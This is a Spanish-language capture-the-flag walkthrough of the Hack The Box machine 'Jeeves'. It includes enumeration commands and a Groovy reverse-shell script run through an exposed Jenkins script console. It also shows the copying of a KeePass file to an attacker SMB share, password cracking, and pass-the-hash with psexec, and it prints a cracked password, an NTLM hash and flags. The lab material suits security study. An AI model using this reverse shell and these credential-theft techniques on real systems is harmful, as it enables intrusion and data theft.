Iniciamos añadiendo una entrada en el archivo /etc/hosts para esta máquina.

sudo echo "10.10.10.63 jeeves.htb" >> /etc/hosts

Iniciamos con un nmap básico, con las siguientes opciones.

nmap -p- --open -T5 -v -d --min-rate 1000 jeeves.htb -oG ports.txt 

-p-: Escaneo de los 65535 puertos.

–open: Solo muestra los puertos abiertos.

-T5: La velocidad más alta de escaneo.

-v: Para que muestre el proceso en la salida en consola. (verbose)

-d: establece en 1 el nivel de depuración.

–min-rate 1000: Mínimo 1000 paquetes por segundo.

-oG: Reporte en formato amigable con el comando GREP

Para mayor detalle se puede acceder a este sitio.

Una vez terminado el escaneo, el resultado se guardará en el archivo ports.txt.

Con el comando siguiente, se puede extraer los puertos abiertos para continuar con el proceso.

 cat Ports.txt|awk '{printf "%s\t", $2;
     for (i=4;i<=NF;i++) {
       split($i,a,"/");
       if (a[2]=="open") printf ",%s",a[1];}
     print ""}'

Los puertos que identificó nmap como abiertos son 80,135,445,50000. En el siguiente paso se identificarán versiones y vulnerabilidades sobre los puertos. Para lo cual usamos el siguiente comando.

nmap -p 80,135,445,50000 -sV -sC -A -v jeeves.htb

Como resultado se obtuvo lo siguiente:

PORT      STATE SERVICE      VERSION 
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods:  
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
(workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found

Host script results:
|_clock-skew: mean: 4h59m58s, deviation: 0s, median: 4h59m58s
| smb-security-mode:  
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:  
|   2.02:  
|_    Message signing enabled but not required
| smb2-time:  
|   date: 2020-01-22 21:14:04
|_  start_date: 2020-01-22 19:14:16

Puerto 80

El puerto 80 puede ser interesante para continuar con el análisis, se puede ver que tiene un IIS instalado, como siguiente paso se realizará una enumeración de directorios en este puerto con la ayuda de la herramienta gobuster

gobuster dir -u http://jeeves.htb -w directory-list-2.3-medium.txt

Con esto no se tuvo un resultado favorable al momento de encontrar una posible entrada a la obtención de una shell.

Puertos 135 y 445

Se continúan con los puertos siguientes 135 y 445 estos puertos están relacionados con RPC (llamada a procedimiento remoto) y SMB. Para verificar si este es el camino se utilizará el siguiente comando.

python smbmap.py -H jeeves.htb

y

smbclient.py jeeves.htb -no-pass 

En ambos casos se tuvo un error de acceso denegado, por lo que se considera que no es por aquí el camino.

Puerto 50000

El siguiente y último puerto abierto es el 50000, un puerto no convencional, que al parecer tiene levantado un servicio http, de acuerdo a lo que se indica en el reporte de nmap. Considerando que es un servicio web, se procede de la misma manera que se hizo con el puerto 80.

gobuster dir -u http://jeeves.htb:50000 -w directory-list-2.3-medium.txt

Con este comando ya se pudo obtener un resultado distinto al obtenido con el puerto 80, ya que gobuster pudo identificar lo siguiente.

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
[+] Url: http://jeeves.htb:50000
[+] Threads: 100
[+] Wordlist: ../wordlist/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s2020/01/22
22:05:08 Starting gobuster
/askjeeves (Status: 302)

Como se puede ver en la última linea se obtuvo una respuesta 302 del servidor. Accediendo a esta ruta desde el navegador, se obtiene el siguiente resultado.

Es una instalación de Jenkins, si se da clic en Administrar Jenkins y luego en acerca de se puede ver que es una versión 2.87. Lo primero que se debe hacer una vez que se conoce la versión es buscar si hay vulnerabilidades reportadas para esa versión y mejor aún si ya hay exploits publicados.

Una vez realizada esta búsqueda se determinó que no existen exploits publicados. Por lo tanto lo que se deberá buscar ahora es una mala configuración que permita explotar el servicio y obtener la shell.

En la configuración de Jenkins existe una opción que dice «Script Console Executes arbitrary script for administration/trouble-shooting/diagnostics». Es bastante interesante ya que habla de ejecución de scripts arbitrarios.

Consiguiendo la shell

El hallazgo de esta opción de la consola de scripts al parecer es el camino correcto, ya que si accedemos muestra que «Escribe un ‘script’ Groovy script y ejecútalo en el servidor.». Ahora queda entender como funciona groovy script y ver si es posible generar una shell reversa desde esta opción.

Si se hace una búsqueda simple «groovy script reverse shell» el primer resultado nos lleva a este sitio. Donde está el siguiente código para generar una shell reversa de acuerdo a nuestra necesidad.

String host="localhost"; 
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();
break;
}catch (Exception e){}};
p.destroy();
s.close();

Para que el script funcione de manera adecuada, se deberá cambiar localhost por la ip de nuestra máquina. Una vez iniciado netcat por el puerto 8044 se podrá ejecutar el script y con ello se obtiene el siguiente resultado.

Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Users\Administrator\.jenkins>

Consiguiendo el usuario

Ejecutando el comando whoami se puede obtener el siguiente resultado.

C:\Users\Administrator\.jenkins>whoami
whoami
jeeves\kohsuke

Esto es necesario conocer ya que en el directorio donde se abre la shell está dentro del directorio Administrador, por lo que si intentamos subir nivel en los directorio (cd ..) obtenemos un error de acceso denegado. Conociendo el usuario podríamos acceder al directorio personal en búsqueda de indicios del camino hacia la cuenta de Administrador.

C:\Users\Administrator\.jenkins>cd ../../kohsuke
cd ../../kohsuke
C:\Users\kohsuke>

Una vez dentro, la flag está donde es costumbre, en el directorio Desktop.

Consiguiendo el Administrador

Una vez dentro del directorio del usuario kohsuke, debemos empezar a enumerar todos los directorios, si listamos el directorio Documents se obtuvo el siguiente resultado.

C:\Users\kohsuke>dir Documents
dir Documents
Volume in drive C has no label.
Volume Serial Number is BE50-B1C9
Directory of C:\Users\kohsuke\Documents
11/03/2017  10:18 PM    <DIR>          .
11/03/2017  10:18 PM    <DIR>          ..
09/18/2017  12:43 PM             2,846 CEH.kdbx
1 File(s)          2,846 bytes
2 Dir(s)   7,436,152,832 bytes free

Si se hace una búsqueda para determinar que tipo de archivo es el denominado CEH.kdbx se pudo conocer que ese tipo de archivo es una base de credenciales utilizada por el manejador de claves KeePass. Por lo que se podría pensar en descargarla e intentar abrirla.

Con la herramienta impacket se publica una carpeta compartida temporal en nuestra máquina. Con el siguiente comando:

sudo smbserver.py temp /Users/usuario/hackthebox/Jeeves

Donde «temp» es el nombre de la carpeta compartida y la ruta es /User/usuario/hackthebox/Jeeves es la carpeta que se está compartiendo.

Ahora es necesario que desde Jeeves se establezca conexión a la carpeta compartida «temp» para lo cual se ejecuta el siguiente comando:

C:\Users\kohsuke>net use s: \\10.10.14.28\temp
net use s: \\10.10.14.28\temp
The command completed successfully.

Una vez montada la carpeta compartida en la unidad «s:» se puede copiar el archivo CEH.kdbx a nuestra máquina.

C:\Users\kohsuke\Documents>copy CEH.kdbx s:\
copy CEH.kdbx s:\
      1 file(s) copied.

Con el archivo descargado y con el software keepass se intentó abrir el archivo sin embargo solicita una clave.

Crackeando el Password de KeePass

El primer paso para crackear la clave del archivo CEH.kdbx es determinar el hash, para ello usaremos el siguiente comando.

keepass2john CEH.kdbx > CEH.hash

Una vez obtenido el hash se deberá ejecuta el siguiente comando, para que con el uso del diccionario rockyou.txt se pueda determinar la clave de este archivo.

john CEH.hash --wordlist=rockyou.txt --format=KeePass                                  

Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:13 0.26% (ETA: 22:21:17) 0g/s 625.0p/s 625.0c/s 625.0C/s yumyum1..xenia
moonshine1 (CEH)
1g 0:00:01:30 DONE (2020-01-23 14:40)
0.01108g/s 609.2p/s 609.2c/s 609.2C/s morgan5..monyong
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Con la clave obtenida en el paso anterior se puede abrir el archivo CEH.kdbx usando el software Keepass.

En la base de datos de credenciales existen dos que podrían servir para acceder a Jeeves como administrador.

La que tiene el título «DC Recovery PW» y la que dice «Backup stuff». Para probar la primera credencial se usará la herramienta CrackMapExec.

cme smb jeeves.htb -u administrator -p 'S1TjAtJHKsugh9oC4VZl'
SMB 10.10.10.63 445 JEEVES
[*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:JEEVES) (signing:False)
(SMBv1:True) SMB 10.10.10.63 445 JEEVES
[-] JEEVES\administrator:S1TjAtJHKsugh9oC4VZl STATUS_LOGON_FAILURE

La primera credencial probada no resultó exitosa. En el caso de «Backup stuff» al parecer es un hash.

aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Con el hash encontrado se podría hacer Pass the Hash (PtH) con el uso de CrackMapExec. Y se obtuvo el siguiente resultado.

cme smb jeeves.htb -u administrator -H 
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
SMB 10.10.10.63 445 JEEVES
[*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:JEEVES) (signing:False)
(SMBv1:True)
SMB 10.10.10.63 445 JEEVES
[+] JEEVES\administrator
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

Con la técnica de Pass the Hash se obtuvo éxito para la escalada de privilegios.

Ahora para obtener la shell como administrador usaremos psexec de impacket con el siguiente comando.

psexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
[email protected]

Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[] Requesting shares on jeeves.htb….. [] Found writable share ADMIN$
[] Uploading file IsXvWFNv.exe [] Opening SVCManager on jeeves.htb…..
[] Creating service zKSl on jeeves.htb….. [] Starting service zKSl…..
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>

Ahora para ver la FLAG es necesario ir al directorio de Administrator y Desktop.

C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is BE50-B1C9
Directory of C:\Users\Administrator\Desktop
11/08/2017 09:05 AM .
11/08/2017 09:05 AM ..
12/24/2017 02:51 AM 36 hm.txt
11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 7,521,427,456 bytes free

C:\Users\Administrator\Desktop>type hm.txt
The flag is elsewhere. Look deeper.
C:\Users\Administrator\Desktop>

Sin embargo solo existe el archivo «hm.txt» que nos indica «La bandera está en otra parte. Mira más profundo»

Con el uso del comando DIR /R es posible ver flujos de datos alternos.

dir /R
Volume in drive C has no label.
Volume Serial Number is BE50-B1C9
Directory of C:\Users\Administrator\Desktop
11/08/2017 09:05 AM .
11/08/2017 09:05 AM ..
12/24/2017 02:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 7,521,427,456 bytes free

Para obtener los datos ocultos se usó el siguiente comando.

C:\Users\Administrator\Desktop>more < hm.txt:root.txt 
afbc5bd4b615a60648cec41c6ac92530